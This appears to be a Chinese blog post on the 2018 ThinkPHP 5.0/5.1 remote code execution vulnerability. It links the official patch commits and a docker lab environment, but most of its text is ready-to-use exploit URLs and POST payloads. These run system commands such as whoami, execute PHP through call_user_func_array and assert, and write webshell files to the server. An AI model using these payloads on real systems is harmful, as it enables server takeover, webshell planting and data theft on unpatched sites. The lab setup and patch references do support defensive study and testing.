ThinkPHP官方2018年12月9日發布重要的安全更新,修復了一個嚴重的遠程代碼執行漏洞。該更新主要涉及一個安全更新,由於框架對控制器名沒有進行足夠的檢測會導致在沒有開啟強制路由的情況下可能的getshell漏洞,受影響的版本包括5.0和5.1版本,推薦盡快更新到最新版本。
主要是因為”\“的錯誤
補丁:
Thinkphp v5.0.x補丁地址: https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f
Thinkphp v5.1.x補丁地址: https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815
環境地址:
docker漏洞環境源碼:https://github.com/vulnspy/thinkphp-5.1.29
漏洞利用
1.遠程命令執行exp:
http://localhost:9096/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
5.0.0~5.0.23xexp:
http://127.0.0.1/index.php?s=captcha post_poc1:_method=__construct&filter[]=system&method=get&get[]=whoami post_poc2:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
2.遠程代碼執行
http://localhost:9096/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 #執行代碼phpinfo() http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert #5.1.x版本執行phpinfo() http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 #5.1.x版本 http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo() #5.0.x版本
3.寫shell
http://127.0.0.1/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=***.php&vars[1][]=***
http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>
http://localhost:9096/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php phpinfo();?>" >>2.php
thinkPHP-漏洞集合:https://blog.csdn.net/fly_hps/article/details/84956102